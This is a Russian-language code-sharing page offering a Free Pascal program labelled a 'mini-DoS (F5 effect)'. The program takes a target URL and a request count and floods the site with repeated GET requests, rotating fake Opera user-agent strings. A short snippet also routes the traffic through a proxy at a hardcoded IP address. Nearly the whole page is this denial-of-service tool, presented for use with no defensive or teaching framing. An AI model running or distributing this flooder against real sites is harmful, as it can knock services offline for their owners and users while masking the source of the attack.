Недодос (эффект F5) с плюшками

pascal
  1. program project1;
  2.  
  3. uses crt, SysUtils, httpsend; // httpsend.pas - Synapse
  4.  
  5. var
  6.   HTTP: THTTPSend;
  7.   i, num: Integer;
  8.   url: String;
  9.  
  10. procedure f5_dos;
  11. begin
  12.   i := i + 1;
  13.   HTTP.UserAgent := 'Opera/9.80.' + IntToStr(i) +' (Windows NT 6.1) Presto/2.12.'
  14.                     + IntToStr(Random(1000)) + ' Version/12.15';
  15.  
  16.   if HTTP.HTTPMethod('GET', 'http://' + url) then HTTP.Document.Clear
  17.   else
  18.     begin
  19.       num := 0;
  20.       TextColor(Red);
  21.       WriteLn('');
  22.       WriteLn('Error!');
  23.     end;
  24. end;
  25.  
  26. begin
  27.   TextColor(Yellow);
  28.   WriteLn('URL:');
  29.   ReadLn(url);
  30.  
  31.   WriteLn('');
  32.   WriteLn('Enter the number of requests:'); // введите количество запросов
  33.   ReadLn(num);
  34.  
  35.   HTTP := THTTPSend.Create;
  36.  
  37.   TextColor(Green);
  38.  
  39.   repeat
  40.     f5_dos;
  41.     WriteLn(i);
  42.   until i >= num;
  43.  
  44.   HTTP.Free;
  45.  
  46.   TextColor(White);
  47.   WriteLn('');
  48.   WriteLn('Press any key to exit.');
  49.   ReadLn;
  50. end.
Если надо прокси:

  1. HTTP.ProxyPort := '8080';
  2. HTTP.ProxyHost := '202.43.74.186';
Назад

Реклама

Мы в соцсетях

tw tg yt gt